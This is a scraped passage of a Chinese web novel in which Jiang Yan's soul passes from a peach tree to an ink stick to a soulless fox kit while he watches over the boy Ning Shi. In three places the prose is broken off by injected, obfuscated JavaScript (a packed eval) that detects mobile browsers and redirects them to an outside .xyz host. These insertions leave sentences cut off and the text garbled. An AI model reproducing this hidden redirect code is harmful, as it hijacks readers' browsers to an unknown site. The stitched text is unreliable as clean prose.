比如,啾啾今天格外喜欢踩他。 江晏一面试图将这些想法驱逐出去,一面提起脚迈开步子,欲往前走去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902437|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ……不对。 他的身体好像被钉在了原地一样,根本提不起步子。 心中的不对劲预感成了真,江晏皱眉,又用力迈开步子。 ……依旧没有用。 他收回视线,准备低下头,来好好检查一下自己现在这个身体。 但更为奇特的事情发生了。 江晏突然意识到,自己好像没脖子了——本应该是脖颈的位置,此时却僵硬得像一块铁,根本无法弯动一丝一毫。 他无法看到自己的身体了。 …… 由于在回溯世界中,江晏一直是以意识体的形态存在,所以在刚刚进入这个世界时,他并没有意识到自己现在这个实体的问题。 但此时,这个不得不面对的问题糊到了他脸上。 那就是——我究竟是一个什么东西? 江晏递给啾啾求助的目光:“别卖关子了,快点告诉我,这是怎么回事!” 啾啾:“……算了,我幻化一面镜子,你自己看吧。” 它话音落地,江晏只感觉眼前有白光闪了一下。 待自己再次睁开双眼,却见到面前是一片郁郁葱葱。 那是一株三丈多高的树木。 应该是一棵桃树,由于已经过了花期,枝丫上只留下深绿或浅绿的叶子。 层层叠叠,制成了一张密实的大网,在这处院落中投下一片阴影。 而如果仔细往这棵桃树上看去,还能看到……一只小鸟。 对,是一只灰灰花花的鸟,仰着脖子,翘着尾巴——除了啾啾还能是谁呢? 江晏:…… 他被眼前的景象惊得差点回不过神来,过了半晌,才艰难开口: “……你不要告诉我,这棵树就是我现在的身体。” 啾啾:“嗯呐。” 江晏有点崩溃了:“不是,为什么这个小世界我的身体也不是人啊!” 他试图用控制人身体胳膊的办法,来控制树上的枝干,结果扑簌扑簌抖落下一堆碎枝。 江晏看着地面,又沉默了。 那一地的小树枝,每一枝都在告诉他——你的身体又不是人类了。 江晏有气无力:“……一棵桃树还要怎么才能满足分魂的愿望?” “难道他的愿望是每年吃桃子?” 啾啾又踩了踩他的头顶——江晏这下可算是知道了,为什么小鸟刚刚总是喜欢站在自己身上。 ——鸟类就应该是站在大树上面的啊! 但还好,啾啾说出口的话,打断了他的神游。 啾啾:“这次分魂的情况应该也不会太简单。” “他是从小孩长大的,正如你曾经所说,分魂在不同的阶段心愿是不一样的。” 接着话音一转:“但是,你也不简单啊。” 江晏只能摇了摇树叶:“我?” 啾啾点头:“对,就是你。” “我已经了解到关于这个世界的信息了。” “其实,按照剧情,你应该也拿着主角剧本的。” 桃树枝丫摆动的幅度更大了些。 啾啾:“……” 它只能出声安慰道: “别害怕。” “我替你看过了的。” “你拿的主角剧本是——对人类修士爱而不得三世轮回的精怪。” 127. 树折 风吹过树梢。 江晏琢磨了一下啾啾这句话,只感觉里面通通都是疑问。 他捡了一个最主要的:“……为什么我还会有剧本?” “我就非得按照剧本来做不成?” “啧,这可真够麻烦的。” 啾啾向上跳了跳,飞上了另一根树枝:“不会,就按你平时的做法就行。” “这个世界里的主角们都在觉醒,所以剧本可以发挥的力量已经不大了。” “它只会把你推到分魂的身边,制造一些偶遇机会罢了。” 江晏想了想,觉得这样也说的过去。 只是…… 他声音中带了丝咬牙切齿:“所以,我现在这个身体,也是剧本的安排吗!” 啾啾点头:“你就说离分魂近不近吧。” 江晏:“……” 他沉默片刻,又问:“那难道以后我还可以变成一只树精吗?” “然后像话本一样,去书生的房间里……这怎么想都很奇怪吧。” 啾啾:“不知道呢,看情况吧。” 江晏无语望天……哦,他现在已经是可以做到不弯曲脖子,也能看到天空的程度了。 夏雨阵阵,秋风瑟瑟,冬去春来。 宁时逐渐长大了一点。 江晏从前没有带过小孩子,自然也不知道小孩的生长规律。 他只是知道,宁时会说话,能跑能跳了。 宁白珠会带着他,在自己成为的这棵桃树下,坐一坐。 当然,更多时候在这棵桃树下的,不是小小的宁时。 而是宁白珠和林成。 这一对道侣会在桃树下拉拉小手。 江晏:…… 他有点尴尬,尴尬得他开始掉花瓣了。 然后树下两人望着纷纷扬扬的桃花雨,眼神亮起来,似乎得到了什么启示,接着便亲了上去! 江晏:! 他痛苦地暂时封闭了神识,一边和啾啾在意识海中聊天。 江晏:“说真的,分魂这次的成长氛围不错。” “蛮和谐的。” 啾啾点头,又探出脑袋看了眼外面的情况,转身对他道:“是呢……好了,我看到这两位结束了,你可以睁开眼睛了。” 江晏:“哦。” 他将意识沉入到树干当中,借着无数分枝和树叶,睁开了眼。 地面上是一层浅浅的粉红,宁白珠和林成确实消失了,但也多了一个人影。 小小的人影,那是宁时。 他走在前面,后面跟着一众侍女和侍卫。 他最终走到了树干前,然后一屁股坐在地上,开始在桃花瓣中打滚。 ……怎么和只小狗似的,江晏想。 但他不能说话,而且此时的宁时也太小了,能听懂的词语也很有限。 江晏只是低头看着他。 宁时玩了一会儿,头一歪,靠在树干上,闭上眼就要睡去。 江晏:…… 对于掉下来的花瓣和树枝,他自己是没有感觉的;但树干算是本体,被人碰到,是会有知觉的。 宁时这个时候又太小了,碰在树干上,轻轻的一团,弄得江晏的神魂都有点痒痒了。 像被什么东西的小爪子轻轻挠了一下。 于是江晏又无可避免地想起,在黄扬城那次,宁时是出过什么损招才赢了的。 …… 他低头看着脚底这么一团,感觉能见识到邪恶黑馒头的善良小馒头时期,也挺有意思的。 但善良小馒头并没有在他身边停留太久。 宁时身后跟着的一众侍从,见他躺在树边要睡着,便簇拥了过来把他抱起,随后转身向屋内走去了。 于是江晏面前又清静下来。 依旧是隔着那扇窗,他能看到侍从在一张雕花小床上,轻轻将宁时放下。 宁时睡得正香,直直躺在床上,小肚皮还随着呼吸的节奏一起一伏。 天暗了,又再次亮起。 善良小馒头长得更高了一些,已经可以跑跑跳跳了。 此时的宁时也有五六岁了,正是身高渐长的时候。 宁白珠像凡人间的母亲一样,热衷于记载自己幼崽的成长过程。 她将宁时带到院中的这棵桃树下比了比个子,又取出佩剑,轻轻在树干上划了一道。 江晏想,这其实并不很疼。 像他从前作为一个普通人的时候,在竹城被花蚊子叮了一口的感觉。 花蚊子咬人的疤过上两三年会消失,但这些刻印不会。 宁白珠每隔一个月,就会在桃树上刻下一道印记。 这些刻印密密麻麻,高高低低。 宁时能够跑得很快了。 七八岁的孩子,是喜欢撒欢的。 江晏见他经常在院子里坐着坐着,突然站起来欢快地跑一圈。 有时候,因为速度太快来不及刹住会栽到地上。 每当这个时候,江晏就会默默落下一阵花瓣或树叶。 于是坚硬的地面上多了一层柔软的植物,小孩摔在上面,也不会那么疼了。 这样的生活安逸而又平静,日子好像会永远这样流淌下去。 但江晏想到了自己拿着的剧本。 三生三世,那事情肯定不能到此为止。 他问过啾啾,什么时候可以脱离这棵桃树。 啾啾说,再等等吧。 于是这一等,宁时就又长高了些,已经到了可以开蒙,可以修炼的年龄。 而江晏,也终于迎来了另一个转机。 那依旧是一个夏天普通的午后。 日光烈烈,甚至亮到有些发白的程度了。 于是,那出现在空气中的不可名状之物,便显得格外清晰: 是一团灰色的雾气,并不能看清里面的内容。 这东西出现的实在是突兀,江晏一眼看过去,起初还以为是自己看错了。 以他现在的身体,无法做到揉眼睛这个动作,江晏只能用意识体缓缓神,定睛仔细看过去。 确实是,在小院中多了这团灰雾。 如果这只是一团普通的灰雾,也就算了。 江晏看去,却悚然一惊,掉了几片叶子下来——那灰雾经过的轨迹,竟是什么东西都消失了! 无论是铺设的青石板砖,还是院中的桌椅,在或者,是自己刚刚掉落的叶子。 只要是在那灰雾的行动轨迹之中,就全部消失了,最终只剩下一片空茫茫的虚无,是灰白色的。 江晏:…… 这团灰雾离他越来越近,里身后的屋子也越来越近。 ——这屋子里,宁时和侍从们全部都在小憩。 没有任何一个人发现此时的异状。 江晏感觉自己的声音有点抖 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终于,和他预料中一样,灰雾完完全全地切断了桃树。 他枝繁叶茂,会降下一场花瓣雨的树冠,还是和树干分离了。 这沉重的树冠向后方屋子方向倒去。 本体受了如此严重的伤害,江晏的意识开始震荡。 他眼神发直,却是用意识体拉了拉啾啾的鸟腿:“……我没挡住灰雾。” “它飘到宁时那里怎么办?” 啾啾顺势踩了他一脚:“我真是服了——你先关心一下你自己哈。” “没经历过吧,神魂肯定挺疼的吧?” 在额角尖锐的疼痛中,江晏不答,只是继续盯着它。 最终啾啾败下阵来:“好吧。” “你看,分魂没事的。” 江晏虚弱道:“我现在头疼,疼得我看不见东西。” 啾啾沉默片刻,开口描述:“唔,你的树冠不是倒下了嘛,闹出了好大的动静。” “宁时他们听见声音了,都出来看了。” 江晏:! 他急了:“这多危险啊——你能不能,让他们先躲起来?” 啾啾翻了一个他看不到的白眼:“刚刚都给你说了没事的,我还没讲完呢,别瞎操心。” “按常理来讲,灰雾是没有实体,打不中的。” “但你这个本体时间有点久了,至少三百年;再加上你的神魂比较特殊。” “……倒下的枝干砸到了灰雾,把它砸偏了一个方向。” “现在,灰雾已经拐了个弯,向着悬水宫外面的方向去了。” 江晏:…… 虽然听起来很离谱,但分魂好歹是安全了。 那阵剧烈的疼痛渐渐减弱了,视线中出现了模糊的色块,并愈发清晰。 ……哦,是善良小馒头时期的宁时,江晏想。 他看着我这个方向,好像不太高兴。 …… 宁时怔怔地看着屋前这株突然折断的桃树,看着地碎枝残叶,看着树干上的刻痕。 身边侍从的那些略带惊慌的叫喊声都远去了。 他只能听见自己的心跳。 在胸腔中发出有些空荡的回响。 128. 一条墨 江晏的神魂,飘荡在空中。 他看着一地落叶,忍不住道:“……所以,我的这个身体就这样坏掉了?” 啾啾纠正了他:“不,准确地讲,是死掉了。” “所以你的灵魂才会再次脱离出来。” 江晏叹了口气:“好吧,虽然把一棵树木作为身体不太方便,但几年过去了多少还是有点感情的……” 啾啾点头:“是啊,你看,你那分魂也是这么想的。” 江晏:“嗯?” 他依言看过去,只见善良小馒头时期的宁时,站在树前,握着一条残枝在哭。 江晏:“……算我没有白疼他。” 啾啾:“行吧,但我觉得他哭可能是因为少了一个多功能的玩伴。” 江晏无力道:“我知道,你看,他的秋千绳还在树上挂着呢……” 这院落里发生的事情,动静不算小。 因此,得知的消息的宁白珠,很快就携人匆匆赶来。 宁时的哭声在宁白珠一把抱起他时戛然而止。 江晏:…… 太好了,宁时虽然年龄不大,但哭起来惊天动地,此时终于有人能阻止这让他脑瓜子嗡嗡作响的声音了。 面前,宁白珠放下了宁时,站在这棵已经倒下的桃树边,柔声细语地哄他: “没事了哈,灰雾不会再过来了。” 宁时依旧是泪眼汪汪的,这句话的效果好像不大。 宁白珠叹气,想四下看去,结果一低头,就看到了挂在树枝上的,但现在已经被摔坏的秋千板。 她好像明白了什么:“那时时是舍不得这棵树?我再让人绑一个秋千架就是了。” 宁时:“不,我就要这棵树。” 宁白珠以及旁观的江晏:…… 院中的空气诡异地安静了片刻,宁白珠又问:“可是这棵树已经不能恢复原样了呀,时时想怎么办呢?” 宁时抽了抽鼻子:“我要把这个断掉树干挪到书房里,当桌子。” 江晏:…… 他突然感觉有点可惜了——如果不是那团灰雾把自己弄出了这棵树木的身体,他也许过一会儿就能安居在宁时的房间里了。 但现实却是,他的神魂浮在空气里,还未能找到下一处着落。 院落中,宁白珠答应了儿子的这个请求,她很快把这项活交给了侍从们,又把那依然留在原地的树桩保留下来。 ——这当然也是宁时的意思,“也许树根还活着呢”。 但江晏知道,这是不可能的了,要不然他的神魂也不会被震出来。 不过他现在能做的也只是跟着那一众仆从,看他们把已经处理好的树冠做成木桌,再抬近宁时的房间。 江晏跟了上去,并突然意识到,以自己现在的形态,可以自由移动了。 …… 毕竟是一个小孩子,宁时的房间不算很大,但依旧整齐利落。 书房中,有整整三面墙的书架,密密麻麻摆放了各种册子。 书架有的地方,甚至已经微微向下弯曲了。 侍从和宁白珠都离开了。 宁时坐在了他的新书桌旁边,并趴了上去。 神色依旧是怏怏的,似乎还没有从刚才的变故中回过神来。 小孩皱着眉,用脸贴在木桌上,挤出一小团软肉。 江晏:…… 看着分魂的动作,虽然自己和这一块木头现在已经毫无关系了,但依旧感觉好像灵魂还在树上一样,从心口泛起了一丝痒意。 怪怪的,江晏想。 啾啾看着他意识体的脸色,自然能猜到他在想什么:“别怀念了,当一棵树有什么好的。” “不过按照剧情,这棵桃树是会成精的,然后你会和悬水宫的长公子展开一段感情纠葛……” 江晏想踹它:“这都是什么鬼剧情,话说回来,也还好没有实现。” 啾啾道:“那是自然……不过我能检测到,现在的空间因为刚才的灰雾出现,又发生了轻微的波动。” “换句话说,你的意识体不能再这么游荡了,马上要拥有新的身体了。” 江晏:…… 他带着对未知的不确定,打量了一圈宁时的屋子——看不见除宁时之外的任何一个活物。 那种不妙的预感又出现了。 江晏深吸了一口气。 而此时,宁时似乎已经安慰好了自己,他站起身来,从旁边书架下方的抽屉中,拿出了什么东西,并一一摆放在桃木桌上。 江晏看得清楚,那是纸笔之类的东西——小孩屋里从前没有这么大的桌子,这些东西平时都是收着的。 而现在,有了桃木桌,这些东西都可以摆出来了,方便使用。 于是江晏便突然想到,小孩会逐渐长大的,他读的书会越来越多,在这张桃木桌前的时间也会越来越长。 ……也算是另一种形式的陪伴了。 他感慨着,一时间甚至忘了自己新身体的事。 不过这个问题很快就有了答案。 一股吸引力传来,他的神魂不受控制地飞向了什么东西。 ……一块坚硬的东西。 等江晏再睁开眼睛时,就看到了自己上方宁时的一张正脸。 而啾啾还在他的耳边叽叽喳喳个不停:“啾啾!” “你看见他刚才拿出来的那堆东西了吗?” “你附在那一块墨上啦!” 江晏:…… 他从各种意义上,眼前一黑。 然后又被一只小手捉住,放到砚台上,开始一下下摩擦。 江晏在挣扎无果后,对啾啾道:“……照目前这个状况来看,我迟早会被他用完的吧。” “等到了那个时候,我是不是就可以换一具新的身体了呢?” 啾啾点头:“也是,不过应该还早着呢。” 江晏便不再说话了。 他静静看着宁时取过一支笔来,沾满了墨汁,对着面前的书本开始抄写。 一如百年之前,这个灵魂用着小十的身份,在何家藏书阁中抄写时一样。 就连字迹也是相似极了。 虽然稚嫩,但已经有了未来作为门主时的风范。 书房外的天明了又暗,宁时笔下的字渐渐漂亮起来。 他长大了。 与此同时,在这个世界中,宁白珠的另一个孩子降生了。 ——是宁希,一位手握着主角剧本的女孩子。 ……虽然不是什么值得令人高兴的剧本就是了。 但知道这件事的只有江晏和啾啾,悬水宫里所有的人都不知道。 他们只是像曾经宠爱宁时一样,平等地给予宁希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913807|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱意。 而宁时在这个小世界中,终于获得了和谐的亲子关系与平辈之间的友谊。 江晏想,他看起来很喜欢宁希。 每次等教书先生宣布放学后,就溜到宁希的住处,扒着摇篮,去看襁褓里的宁希。 宁希太小了,甚至连话都不会说,只能咿咿呀呀地去勾着她哥悬在上方的手指头,两个人之间根本做不到有效的交流。 于是宁时想到了一个绝佳的主意。 那是一个平静的午后,江晏被困在一条墨中,安静的躺在桌面上。 宁时就坐在桌前,突然一拍脑袋,自言自语道:“有了!” 他现在的年龄正是淘气的时候,江晏一时不确定他是有了什么类型的想法。 只听见宁时继续道:“希希还小,我说话她也听不懂。” “但是,我可以写日记呀。” “把我每天见到的有意思的事情,都写下来。” “等希希长大了,再拿给她看。” ……平心而论,能做到这样,确实是一个好哥哥。 江晏想。 但是,但是,如果此刻自己不在这倒霉的墨条身上,就更好了。 江晏简直想冲出来,用力摇晃宁时——你倒是想想,你写这么多东西,墨从哪里来的啊! 但宁时什么也不知道。 他只是拿起这条墨,开始准备写下给宁希的第一封信。 江晏:…… 他感觉现在这个身体,会像从前的那株桃树一样,用不了多久了。 不过这个身体相比于之前,有一个好处,那就是离宁时更近了。 于是江晏也知道了他更多的想法。 比如此时此刻。 宁时写着:“今天学习的法术好难……身体里的灵力不太听话。” 后面又过了几天,宁时写:“我今天去看妹妹,她把鼻涕蹭在了我的手上。” 江晏:…… 他怀疑,等宁希长大了看到这个,第一件事绝对是永远封存起来。 宁时记录的内容杂七杂八,除了悬水宫里的生活,也有宫外的世界。 他写:“今天先生因故请假,我也得了一天空闲。” “我去后山玩了,后山好大。” “有那么那么高的草丛,比妹妹高。” “我还发现了一个山洞,没有进去看。” “等我修为再高一点,进去看看有什么好东西。” 江晏看着,感觉到前所未有的平静。 这个小世界,到目前为止,幸福地甚至有的一种不真实感。 在这样的环境下,宁时的愿望会是什么呢? 江晏不知道。 他只是看着宁时一天又一天长大,脸上的婴儿肥渐渐消失了,露出下颌的棱角。 宁时在这个小世界的身体,灵根不算顶尖,但也能称得上优秀。 在修习过程中的一些小插曲,也是能很快掠过。 于是在十五岁的时候,宁时认为,自己的实力已经足够能支撑去后山好好逛逛。 他去了那个念念不忘的山洞。 于是在当天晚上,江晏看到宁时在纸上写下: “没有宝物,没有法器。” “这就是一个普通的山洞。” “哦,里面好像还有一窝小狐狸。” 129. 有狐 江晏看到这里时,忍不住“嚯”了一声。 出于对这种生物的敏感,他对啾啾道:“你说,这是一窝普通的狐狸,还是一窝狐狸精?” 啾啾:“……我又看不见,当然是不知道的。” 江晏:“行吧。” 过了片刻,他又想到了什么,又问:“我从前和妖修接触不多,那么在此时这个小世界里,修士和妖族的关系怎么样?” 这次,啾啾回答了他:“可以说是相当一般,甚至是有些差了。” 江晏点点头。 这个小世界的背景,对于他所处的这个时间段而言,已经有些宏大了。 他只是想听上这么一耳朵,了解一下。 此时更为重要的事,依然是陪着宁时长大。 在这一年,宁时十七岁了。 而与他相差八岁的宁希,也渐渐已经是九岁了。 这么多年过去,江晏灵魂所寄附的这条墨,已经从开始的一拃长,变成指甲盖那么短了。 江晏知道,等到最后这一点墨块消失,自己大约也是又快到了换身体的时候。 而下一个身体依旧是未知的,于是,他便更加珍惜起这段日子了。 他守在宁时旁边,看对方在一张张白纸上写写画画——这个习惯本来是宁时在宁希还小的时候养成的,但在宁希长大能跑能跳能说话之后,也依旧保留了下来。 宁时会记下他每天生活中有意思的事,有时候是一段碎碎念,有时候又简单到只剩一句话。 然后他会在未来某一个时间,再次打开这些册子,重新阅读一遍。 一般在此时,江晏会从对方的脸色看到各种丰富的表情。 他要是笑了,估计是想起了从前类似于得了一件镶嵌满红宝石的弓箭类似的事。 如果是呲牙咧嘴,江晏就知道,他可能翻到了记录着自己打瞌睡被教书先生抓包的那一天。 江晏感觉挺新奇的。 他几乎没有写日记的习惯,再加上从前失去了一段记忆,有时候回想起往事,如同云里雾里。 一个人的记忆是会衰退的,那些本以为永远不会忘记的事情,在太阳的东升西落中,也会渐渐褪色。 只有宁时用他附身的这块墨条,在白纸上写下浓墨重彩后,那些被时间封存的一段时光才得到了永生。 而在此时,宁时正记录着他的新一天。 江晏见他一笔一划地写道: “后山不如我小时候好玩了,我去转了转,真无聊。” “可是家里不许我去更远一些的地方。” “我想起了小时候看过的狐狸洞,又进去看了看。” “里面依旧是有一窝小狐狸,但和我小时候见到的又不一样了。” “好无聊,好想捡回来一只养着。” 宁时的碎碎念到此为止了,他放下毛笔,收起这张纸。 独留江晏附在墨块身上,同啾啾有一搭没一搭地聊着。 江晏语气中带着一丝难以置信:“不是,他要准备在家养一只狐狸精?” 啾啾:“你冷静一下啊。” “首先,狐狸不等于狐狸精;而且在这个小世界里,不会有这么和谐的修士和妖修之间的关系。” 江晏:“哦。” 啾啾又道:“再说了,就算分魂真的要养一只狐狸,你现在也管不着他。” 江晏:…… 他哑口无言。 日子一天天过去,江晏本以为宁时在这个年龄,有很多东西是想起一出是一出,不会对养狐狸的事情过于执着。 但不出半个月,某天宁时外出回来后,照例拿起了纸笔,开始研墨写字。 江晏在这块墨中,又开始叹气了——这孩子,就不能换一块墨用吗? 这么多年就摁着自己用,迟早有一天,这个身体也会废掉的。 ……但另江晏更为忧伤的事情还在后面。 宁时备好了墨,在纸面上笔走游龙,一时间,屋子里只剩下毛笔与纸面摩擦的簌簌声。 江晏斜着眼,努力辨认他的字迹—— “今天,我又去后山的狐狸洞看了看。” “这次我仔细观察了一下,一共有五只狐狸,一大四小。” “都是赤狐,看起来就是普普通通的野兽,和妖修没有半点关系。” “每一只都好可爱,我还没想好抱哪只回去。” 江晏:…… 他像了解自己一样了解宁时。 宁时既然已经弄清楚了狐狸的种类,那么说明他对养狐狸这件事几乎是势在必得。 这么想来……江晏的意识体按了按额角,有些头痛:养狐狸看来是迟早的事,他心里微微有些不喜了。 江晏毕竟已经经历了这么多世界,很快就搞清楚了自己这种不喜的来源: 正如啾啾所言,他吃醋了。 虽然听起来有些难以置信,但不无道理。 江晏想,这些年来,宁时身边是没养过什么小猫小狗之类的活物的。 或者说,他身边有意识存在的东西,只有一个自己。 而自己,已经习惯了这种独一无二的陪伴。 此时宁时说要领回来另一只蹦蹦跳跳的小生命,自己不习惯也是情理之中。 江晏:…… 虽然是这么个道理,但是他感觉更离谱了——自己在这个小世界,已经吃醋到了如此程度吗? 而在他面前,宁时放下了笔,开始自言自语: “那只尾巴很蓬松的小狐狸,我很喜欢,但可惜不好抓。” “还有一只傻兮兮的,看起来也算可爱。” “实在不行抓那只。” 江晏听着,突然前所未有地希望宁白珠出现,并把宁时拉去学堂好好学习。 但希望永远是希望。 终于有一天,宁时像往常一样,步伐轻快的出去玩了。 江晏附在一块墨身上,无从知晓他的行踪。 但是,他可以听到宁时回家的声音。 他驾着马车,坚硬的马蹄敲在青石板路上,越来越近。 然后是悬水宫一道又一道大门打开时,门轴上金属部分相互摩擦的声音。 衣料的摩擦声和脚步声同时响起,这是悬水宫的长公子下了马车,步行回到院落。 而在这一次,江晏听得出来,宁时的脚步,似乎比从前重了一些,缓了一些。 像是身上带着什么东西,影响了他的行动速度。 江晏便想起他前几日写 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江晏:“……闭嘴,我现在还不想打人。” 啾啾斜了他一眼,扇动着翅膀飞走了。 留下江晏继续观察分魂和小狐狸的美好生活。 …… 宁时领回来小狐狸一事,自然被他身边的人知道了。 宁白珠和林成二人先是来了一次,拎着小狐狸的后颈,对它进行了一番仔细的打量。 最终,还是宁白珠拍板——她把小狐狸还给了宁时,并附赠上一句话:“纯纯的狐狸,不是狐狸精,可以养。” 宁时:…… 送走了这对对他关心的父母,又迎来了宁希。 宁希叼着一根糖进了他哥的屋子,然后极为自来熟地,对着那小狐狸上手就摸! 宁时急忙阻止:“你小心一点,别让它咬到你了……咦?” 他低头看着依旧窝在自己怀里,安安静静任凭人摸的小狐狸,头顶一脑袋问号。 而他对面的宁希,以一种看白痴的眼神看着他。 宁时:“为什么要这样看我。” 宁希对他摊手:“我又不傻,狐狸不会咬我的,当然也不会咬你,根本不用提醒的。” 宁时:“……不是,这是为什么啊!” “我单单以为它不咬我,是因为我会给他很多食物。” “那你呢?”宁时看着妹妹,“你可是第一次见到它啊!” “你们应该一点都不熟的……为什么狐狸看起来对你和对我一样啊——” 宁希无奈:“哥,你有没有听说过一种说法。” 宁时:“哈?” 宁希解释:“就是说呀,这些看起来情绪非常稳定的小动物,之所以情绪稳定,是因为它们搞不清目前的状况。” “简而言之,就是脑子不聪明,理解不了。” 宁希又看了一眼宁时怀中乖巧地不像话的小狐狸:“有的情况,还不仅仅是它们脑子笨。” “而是身体中没有灵魂,看起来就更乖巧了。” 130. 小狐狸彤云 旁听的江晏:…… 他算是有些听明白了,宁时带回来的这只乖乖的,看起来有些像一只毛绒玩具的小狐狸,只是一具□□空壳。 里面并没有灵魂。 他瞬间想到了什么,兴奋起来,对啾啾道:“那是不是说明,等我这个身体消耗完毕,我就可以转移到小狐狸身上?” 啾啾看着那只窝在宁时怀里,打着呼噜的红色小狐,无奈道:“看来长时间的不做人确实降低了你的底线……我以为你会要求我给你找一具人类的身体呢。” 江晏恍然大悟:“对哟。” 啾啾啄了啄他:“别想了,我只是这么一说,并没有控制你灵魂流向的能力。” “但其实我感觉,你的下一个身体可能真的会是小狐狸。” “因为在你所处的空间里,这是一个活物,又正好没有灵魂,它的躯体是最适合你的。” 江晏“哦”了一声,也移过视线,去看宁时。 ……宁时开始在给小狐狸搭窝。 江晏看他身边全都是散落的各种木材与工具,而他本人坐在中间,叮咣叮咣。 江晏:…… 虽然分魂在这个世界很可爱,但这未免也太吵了吧! 他用意识体屏蔽了这些噪音,而那只小狐狸,则是围绕在宁时的身边,转来转去。 每当宁时拿起一块木板,小狐狸都会小跑过去,鼻头抽动着,闻一闻。 不过是用了一个时辰,这个狐狸窝就搭好了,外面是一层木头,里面铺上了软绵绵的垫子。 小狐狸围着新窝转了一圈,似乎很是喜欢,就连尾巴也开始摇摆起来。 它在原地跳了两下,开始撒欢,在宁时屋子中冲来冲去。 然后江晏眼睁睁看着这只智障小狐狸,一头撞在了当年用自己作为桃树时身体制作的书桌腿上。 傻狐狸力气极大,江晏在感到自己的视线剧烈震颤了两下的同时,也听到了一声巨响。 是狐狸脑袋与桌腿相撞的声音。 江晏:…… 这一下听着清脆极了,被撞了后,不知道狐狸会不会变得更傻。 他一面想着,却发现自己的视线开始跳动起来——是刚才小狐狸撞击时产生的余震,带着桌面上的东西都在跳动。 江晏心中暗道不好。 他刚刚被宁时用完,放下的位置距离书桌的边缘有些近了。 再加上现在这块墨被使用了很久,曾经那些棱棱角角都已经磨平,变得圆润起来,此时再受到桌下传来的外力,便开始弹跳、滚动。 于是江晏在天旋地转的视线中,看到桃木桌的边缘,距离自己越来越近—— 他要被这只智障小狐狸一脑袋顶下桌摔在地上了! 任何挣扎都无济于事了,他一路向前滚着,最终感到身下一空,彻彻底底跌出了木桌边缘,直至向地面砸去! 滞留在空中的那么一瞬间,江晏无奈地想: 这个身体,可能腰被摔碎了。 一阵巨大的冲击力传来,承载着他灵魂的墨块终于是落了地。 江晏听到了细微的碎裂声,这只有他自己才能听得到——是从身体内部延伸出裂缝的声音。 江晏简直想翻白眼了,一个两个的,凡是他附身的东西,居然都还没有一个好的结局。 这一块已经产生裂痕的墨,借着掉下来的冲击力,又在由陶土烧成的地砖上回弹了几次。 江晏:…… 他从物理意义上讲,听见自己裂开了,并且这声音愈发大起来,最终是伴随着几声清脆的“咔嚓”——这块墨,终于是四分五裂了。 他的神魂于是也被震了出来,虚虚浮在空中,看着屋内的景象。 ——那墨真的是碎的已经不能再碎了。 本来经过多年的研磨,就已经在墨条内部留下了几不可察但密密麻麻的印记,此时又经受这么一摔,裂开的瓣数散在地上,竟是一眼看过去不能估计出数目的程度。 而那狐狸作为始作俑者,此时居然迷迷糊糊的站起来,摇头晃脑,嘴里哼唧了两声。 至于坐在一旁的宁时,则是愣住了。 他看看碎在地上的墨块,又看看委委屈屈的小狐狸,一时间愣在了原地,不知道先去做什么了。 最终,他叹了一口气,一边伸出手揉了一把小狐狸的脑袋,一边又轻声念出一段咒语,于是那散落在地上的碎片全都飞到了桌面上,汇成了一小撮。 而在此时,江晏的灵魂也感到了一阵莫名的吸引力。 和他预想中的一样,自己的神魂,冲着这一只傻狐狸飞过去了。 晕眩过后,江晏终于可以久违地睁开眼睛看这个世界了——毕竟他前两个身体甚至连眼睛都没有。 江晏感受了一番,只觉得小狐狸的眼睛亮亮的,除了视野有点低之外,没什么不好的。 当然,这也是没办法的事,谁让他现在附在了一只只有宁时膝盖高的小狐狸身上呢? 这只小狐狸还在头疼。 刚才那一下撞得不轻,此时江晏只觉得自己的狐狸脑袋里嗡嗡作响,额头上还一痛一痛的,胀胀的,甚至有些发热。 他有点委屈了——自从来了这个世界,自己先是废了两具本来就不怎么样的身体,而此时好不容易有了一个能动的身体,却还要遭受这种痛苦。 往日里,和宁时相处的种种浮上心头。 江晏几乎是用本能,往宁时身边凑了凑。 宁时身上暖洋洋的,他情不自禁地把脑袋靠在了他腿上。 于是从上方落下了少年的手,五只修长匀称,这只手又狠狠揉了一把他的头顶,却小心地避开了他被磕到的地方。 少年在他头顶上叹了口气,道:“你啊,你啊。” “怎么把这东西打碎了呢,那可是我用了好多年的呢。” 江晏听了,仰起头瞪他——又不是我弄碎的,明明是刚才的智障小狐狸。 但宁时不会知道。 他只是看见身边的小狐狸,用一双水汪汪的大眼睛看着自己,身后一条火红蓬松的大尾巴还时不时摇一下。 他便心软了下来,用双手捧起小狐狸的脑袋,然后伸出两根手指,捏了捏它脸上的肉: “不过那块墨本来也用不了多久了。” “这下可好了,我得把它收起来了……以后可不许这么冒冒失失的了。” 江晏被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在江晏忐忑不安的心跳中,宁时眼珠转了转,视线落在了他的大尾巴上。 江晏看着他似乎是思考了一下,然后道:“我们小狐狸的尾巴真的很漂亮……像一团红色的云。” 江晏:…… 不愧是自己的分魂,他刚刚想到“小红”,宁时就给他来了一句“红色的云”。 但好在这个小世界的宁时还算个文化人。 他接着说了下去:“嗯,那就叫彤云吧,更好听一点。” 